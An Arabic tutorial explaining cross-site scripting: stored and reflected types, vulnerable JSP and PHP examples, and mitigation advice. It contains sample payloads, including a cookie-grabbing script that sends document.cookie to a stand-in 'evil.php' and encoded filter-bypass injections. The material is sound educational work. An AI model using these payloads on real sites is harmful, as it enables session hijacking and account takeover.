حقن الشيفرة المصدريّة عبر موقع وسيط (XSS) هي نوع من حقن البرامج النصية الضارة في مواقع ويب موثوقة. تحدث هجمات XSS عندما يستخدم المهاجم تطبيقًا على الويب لإرسال برنامج ضار، بشكل عام في شكل نص برمجي (script) من جانب المتصفح، إلى واجهة مستخدم آخر. العيوب التي تسمح لهذه الهجمات بالنجاح، واسعة الإنتشار وتحدث في أي مكان يستخدم الموقع أو تطبيق الويب حقول للإدخال تسمح للمستخدم بإدخال معلومات دون التحقق من صحتها أو ترميزها.
يمكن للمهاجم استخدام XSS لإرسال نص برمجي ضار إلى مستخدم. كما أنه ليس لدى متصفح المستخدم طريقة لمعرفة أنه لا ينبغي الوثوق بالنص البرمجي، وبالتالي سيقوم بتنيفذه. نظرًا لأنه يعتقد أن النص البرمجي مصدره موثوق به، يمكن للنص البرمجي الضار الوصول إلى أي ملفات تعريف – Cookies و رموز مميزة للجلسات – Session أو معلومات حساسة أخرى يحتفظ بها المتصفح ويتم استخدامها بواسطة هذا الموقع. يمكن لهذه البرامج النصية حتى إعادة كتابة محتوى صفحة HTML.
وصف طريقة عمل الـ XSS
تحدث هجمات الـ XSS عندما :
- تدخل البيانات إلى تطبيق ويب من خلال مصدر غير موثوق به، وفي الغالب طلب ويب – web request
- يتم تضمين البيانات في المحتوى الديناميكي الذي يتم إرساله إلى مستخدم الويب دون التحقق من احتوائه على محتوى ضار.
غالبًا ما يأخذ المحتوى الضار الذي يتم إرساله إلى متصفح الويب شكل مقطع من لغة جافا سكريبت (JavaScript) ، ولكن قد يتضمن أيضًا HTML أو Flash أو أي نوع آخر من التعليمات البرمجية التي قد ينفذها المتصفح. تنوع الهجمات التي تستند إلى XSS تكاد تكون بلا حدود تقريبًا، ولكنها غالبًا ما تتضمن نقل البيانات الخاصة، مثل ملفات تعريف الارتباط أو معلومات الجلسة، إلى المهاجم، أو إعادة توجيه الضحية إلى محتوى الويب الذي يتحكم فيه المهاجم، أو إجراء عمليات أخرى على جهاز المستخدم تحت غلاف الموقع المتعرض للهجوم.
هجمات XSS المخزنة والمنعكسة
الهجمات المخزنة – Stored attacks
الهجمات المخزنة هي تلك التي يتم فيها تخزين البرنامج النصي المحقون بشكل دائم على خوادم (Servers) المواقع المستهدفة، مثل قاعدة البيانات، في منتدى الرسائل، سجل الزوار، حقل التعليق… إلخ. ثم يسترد الضحية البرنامج النصي الضار من الخادم عندما يطلب المعلومات المخزنة. يُشار أحيانًا إلى XSS المُخزَّن على أنه XSS المستمر أو XSS من النوع الأول.
الهجمات المنعكسة – Reflected attacks
الهجمات المنعكسة هي تلك التي ينعكس فيها النص البرمجي المحقون في خادم الويب، مثل رسالة خطأ أو نتيجة بحث أو أي استجابة أخرى تتضمن بعض أو كل حقول الإدخال المرسلة إلى الخادم كجزء من الطلب. يتم تسليم الهجمات المنعكسة إلى الضحايا بطريقة أخرى، مثل رسالة بريد إلكتروني، أو على موقع ويب آخر. عندما يتم خداع المستخدم للنقر على رابط ضار، أو إرسال نموذج معد خصيصًا، أو حتى مجرد تصفح موقع ضار، ينتقل النص البرمجي الذي تم حقنه إلى موقع الويب المعرض للهجوم، مما يعكس الهجوم مرة أخرى إلى متصفح المستخدم. يقوم المتصفح بعد ذلك بتنفيذ التعليمات البرمجية لأنه يأتي من خادم “موثوق”. يشار أحيانًا إلى XSS المنعكس على أنه XSS غير دائم أو من النوع الثاني.
بالإضافة إلى هجمات XSS المخزنة والمنعكسة، تم تحديد نوع آخر من هذه الهجمات وهي “DOM Based XSS” بواسطة Amit Klein في عام 2005.
أمثلة بسيطة عن الهجمات المخزنة والمنعكسة
مثال 1
يقرأ نص كود JSP التالي معرف الموظف “eid” من طلب HTTP ويعرضه للمستخدم.
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>يعمل الكود في هذا المثال بشكل صحيح إذا احتوى “eid” على نص أبجدي رقمي عادي. إذا كان “eid” يحتوي على قيمة تحتوي على أحرف تعريفية أو كود، فسيتم تنفيذ هذا الأخير بواسطة متصفح الويب بينما تعرض استجابة HTTP. في البداية، قد لا يبدو أن هناك الكثير من الثغرات الأمنية. أصلا، لماذا يقوم شخص ما بإدخال عنوان URL يؤدي إلى تشغيل تعليمات برمجية ضارة على جهاز الكمبيوتر الخاص به؟ الخطر الحقيقي هو أن يقوم المهاجم بإنشاء عنوان الـ URL الضار، ثم باستخدام حيل البريد الإلكتروني أو الهندسة الاجتماعية لجذب الضحايا إلى زيارة رابط عنوان الـ URL. عندما ينقر الضحايا على الرابط، فإنهم يعكسون عن غير قصد المحتوى الضار من خلال تطبيق الويب الضعيف إلى أجهزة الكمبيوتر الخاصة بهم. تُعرف آلية استغلال تطبيقات الويب الضعيفة باسم هجمات XSS المنعكسة.
مثال 2
يستعلم نص كود JSP التالي عن قاعدة بيانات (database) لموظف له رقم تعريف معين ويطبع اسم الموظف المرادف له.
<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id=" + eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
%>
Employee Name: <%= name %>كما في المثال 1 ، يعمل هذا الكود بشكل صحيح عندما يكون الاسم مركبا بشكل جيد، لكنه لا يفعل شيئ لمنع عمليات استغلال الثغرات. مرة أخرى، يمكن أن يظهر هذا الكود أقل خطورة لأن الإسم يتم قراءته من قاعدة بيانات، والتي يبدو أن محتوياتها يتم إدارتها بواسطة التطبيق. ومع ذلك، إذا جاء الاسم من البيانات التي يوفرها المستخدم ، فيمكن أن تكون قاعدة البيانات عرضة للمحتوى الضار. بدون التحقق من صحة حقول الإدخال على جميع البيانات المخزنة في قاعدة البيانات، يمكن للمهاجم تنفيذ الأوامر الضارة في متصفح الويب الخاص بالمستخدم. يعتبر هذا النوع من الاستغلال، المعروف باسم XSS المخزن ضارا بشكل خاص لأن التغيير الناتج من مخزن البيانات من الصعب تحديد والتعرف على وجود تهديد مما يزيد من احتمال تأثير الهجوم على العديد من المستخدمين. بدأت هجمات XSS في هذا النوع من الهجمات من خلال مواقع الويب التي تقدم “سجل الزوار” للزوار. يقوم المهاجمون بضم نص JavaScript في إدخالات دفتر الزوار الخاصة بهم، ثم يقوم جميع الزوار اللاحقين لصفحة سجل الزوار بتنفيذ الشفرة الضارة.
كما توضح الأمثلة، فإن ثغرات XSS ناتجة عن التعليمات البرمجية التي تتضمن بيانات غير مراجعة في استجابة الـ HTTP. هناك ثلاثة سبل يمكن من خلالها لهجوم XSS أن يصل إلى الضحية:
- كما في المثال 1، تتم قراءة البيانات مباشرة من طلب HTTP وتنعكس مرة أخرى في استجابة الـ HTTP. تحدث عمليات استغلال XSS المنعكسة عندما يتسبب أحد المهاجمين في تزويد المستخدم بمحتوى خطير لتطبيق ويب ضعيف، والذي ينعكس بعد ذلك على المستخدم وينفذ بواسطة متصفح الويب. الآلية الأكثر شيوعًا لتقديم المحتوى الضار هي تضمينه كاستعلام في عنوان الـ URL يتم نشره بشكل عام أو إرساله بالبريد الإلكتروني مباشرةً إلى الضحايا. تشكل عناوين URL التي يتم إنشاؤها بهذه الطريقة جوهر العديد من مخططات التصيد الاحتيالي، حيث يقنع المهاجم الضحايا بزيارة عنوان URL الذي يؤدي بهم إلى موقع ضعيف. بعد أن يعكس الموقع محتوى المهاجم مرة أخرى للمستخدم، يتم تنفيذ المحتوى ويستمر في نقل المعلومات الخاصة، مثل ملفات تعريف الارتباط التي قد تتضمن معلومات الجلسة، من جهاز المستخدم إلى المهاجم أو أداء أنشطة خطيرة أخرى.
- كما في المثال 2، يخزن التطبيق بيانات خطيرة في قاعدة بيانات أو مخزن بيانات موثوق آخر. يتم بعد ذلك قراءة البيانات الخطيرة في التطبيق وتضمينها في المحتوى الديناميكي. تحدث عمليات استغلال XSS المخزنة عندما يقوم مهاجم بحقن محتوى خطير في مخزن بيانات تتم قراءته لاحقًا وإدراجه في المحتوى الديناميكي. من وجهة نظر المهاجم، فإن المكان الأمثل لإدخال المحتوى الضار هو في منطقة يتم عرضها للعديد من المستخدمين أو المستخدمين المثيرين للاهتمام بشكل خاص. عادةً ما يكون للمستخدمين المهمين امتيازات عالية في التطبيق أو يتفاعلون مع بيانات حساسة ذات قيمة للمهاجم. إذا قام أحد هؤلاء المستخدمين بتنفيذ محتوى ضار، فقد يتمكن المهاجم من تنفيذ عمليات مميزة نيابة عن المستخدم أو الوصول إلى بيانات حساسة تخص المستخدم.
- يقوم مصدر خارج التطبيق بتخزين بيانات خطيرة في قاعدة بيانات أو مخزن بيانات آخر، ثم تتم إعادة قراءة البيانات الخطيرة في التطبيق لاحقًا كبيانات موثوقة ومضمنة في المحتوى الديناميكي.
بعض الأمثلة عن هجمات XSS الشائعة
انتزاع ملف التعريف – Cookie Grabber
إذا لم يتحقق التطبيق من صحة بيانات الإدخال، فيمكن للمهاجم سرقة ملف تعريف الارتباط بسهولة من مستخدم مصادق عليه. كل ما يتعين على المهاجم القيام به هو وضع الكود التالي في أي حقل إدخال متوفر في واجهة التطبيق (أي: لوحات الرسائل، الرسائل الخاصة، ملفات تعريف المستخدمين) :
<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>سيمر الكود أعلاه بمحتوى هروب من ملف تعريف الارتباط (وفقًا لبروتوكول RFC يجب تنفيذ الهروب قبل إرساله عبر بروتوكول HTTP باستخدام طريقة GET) إلى البرنامج النصي “evil.php” في متغير “cakemonster“. ثم يقوم المهاجم بالتحقق من نتائج البرنامج النصي evil.php الخاص به (عادة ما يكتب البرنامج النصي المنتزع ملف تعريف الارتباط في ملف خاص) ويستخدمه.
صفحة الخطأ – Error page
لنفترض أنه لدينا صفحة خاصة بالأخطاء تعالج طلبات الصفحات غير الموجودة، وهي صفحة خطأ 404 كلاسيكية. قد نستخدم الكود أدناه كمثال لإبلاغ المستخدم بالصفحة المفقودة :
<html>
<body>
<? php
print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);
?>
</body>
</html>عندما نقوم بزيارة صفحة الأخطاء نحصل على رسالة : Not found: /file_which_not_exist
الآن سنحاول استغلال صفحة اللأخطاء لتضم الكود الخاص بنا :http://testsite.test/<script>alert("TEST");</script>
النتيجة هي :Not found: / (لكن مع كود جافاسكريبت الخاص بنا <script>alert("TEST");</script>)
لقد نجحنا في حقن هجوم XSS الخاص بنا، ماذا يعني ذلك؟ على سبيل المثال، قد نستخدم هذا العيب لمحاولة سرقة ملف تعريف ارتباط جلسة المستخدم.
بدائل تركيب بنية نص الـ XSS
استخدام البرنامج النصي في خاصيات أوسمة الـ HTML
يمكن تنفيذ هجمات XSS دون استخدام وسم – (attribute) جافا سكريبت. الأوسمة الأخرى المتعلقة بلغة الـ HTML يمكنها فعل الشيء نفسه تمامًا من خلال خاصيات مثل onload،onmouseover، على سبيل المثال :
<body onload=alert('test1')>
<b onmouseover=alert('Wufff!')>click me!</b>
استخدام برنامج نصي عبر مخططات URI المشفرة
إذا كنا بحاجة إلى تجاوز مصفيات (filters) تطبيقات الويب، فقد نلجأ إلى ترميز أحرف المقطع، على سبيل المثال الرمز : a=A بترميز UTF-8 واستخدامه في وسم img الخاص بالـ HTML :
<IMG SRC=jAvascript:alert('test2')>
هناك العديد من ترميزات UTF-8 المختلفة التي تعطينا المزيد من الاحتمالات والخيارات.
استخدام تشفير الكود
قد نقوم بتشفير نصنا البرمجي بنظام base64 ووضعه في وسم meta. بهذه الطريقة نتخلص من تنبيه الضحية تمامًا.
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">مضار وعواقب هجمات الـ XSS
نتيجة هجمات XSS هي نفسها بغض النظر عما إذا كانت مخزنة أو منعكسة. يكمن الاختلاف في كيفية وصول الحمولة إلى الخادم. لا تتعتقد لوهلة أن موقع “للقراءة فقط – read-only” أو “كتيب –
brochureware” ليس عرضة لهجمات XSS المنعكسة. يمكن أن يتسبب XSS في مجموعة كبيرة من المشاكل للمستخدم والتي تتراوح شدتها من إزعاج إلى اختراق كامل للحساب. تتضمن أشد هجمات الـ XSS الكشف عن ملف تعريف الارتباط لجلسة المستخدم، مما يسمح للمهاجم باختراق جلسة المستخدم والاستيلاء على الحساب. تشمل الهجمات الضارة الأخرى الكشف عن ملفات المستخدم، وتثبيت برامج حصان طروادة (Trojan horse)، وإعادة توجيه المستخدم إلى صفحة أو موقع آخر، أو تعديل عرض المحتوى. يمكن أن تؤثر ثغرة XSS التي تسمح للمهاجمين بتعديل بيان صحفي أو حصة أخبار مما قد يؤثر على أسهم الشركة أو ثقة المستهلك بها. قد تسمح ثغرة XSS على موقع صيدلاني للمهاجم بتعديل معلومات الجرعات مؤديا إلى جرعة زائدة.
كيف أعلم أنني عرضة لهجمات الـ XSS؟
قد يكون من الصعب التعرف على ثغرات XSS وإزالتها من تطبيق ويب. أفضل طريقة للعثور على العيوب هي إجراء مراجعة أمنية للنص البرمجي والبحث عن جميع الأماكن التي يمكن أن يشق فيها حقل للإدخال من طلب HTTP طريقه إلى نص الـ HTML المولد. لاحظ أنه يمكن استخدام مجموعة متنوعة من علامات HTML المختلفة لإرسال جافا سكريبت ضار. يمكن أن لأدوات الحماية مثل Nessus و Nikto في فحص موقع الويب بحثًا عن هذه العيوب، ولكن يمكنها مسح السطح فقط. إذا كان أحد أجزاء موقع الويب ضعيفًا، فهناك احتمال كبير أن تكون هناك مشكلات أخرى أيضًا.
كيف تحمي نفسك؟
من المهم إيقاف تشغيل HTTP TRACE على جميع خوادم الويب. يمكن للمهاجم سرقة بيانات ملفات تعريف الارتباط عبر جافا سكريبت حتى عندما يتم تعطيل document.cookie أو أن العميل لا يدعمه. يتم شن هذا الهجوم عندما ينشر مستخدم نصًا برمجيًا ضارًا في المنتدى، فعندما ينقر مستخدم آخر على الرابط، يتم إطلاق تنبيه HTTP TRACE غير متزامن يجمع معلومات ملفات تعريف الارتباط الخاصة بالمستخدم من الخادم، ثم ترسلها إلى خادم ضار آخر ليجمعها حتى يتمكن المهاجم من شن هجوم اختطاف (hijack) للجلسة. يتم تخفيف ذلك بسهولة عن طريق إزالة دعم HTTP TRACE على جميع خوادم الويب.
إعداد: عده مسفاك
تدقيق لغوي: يحي بولحية
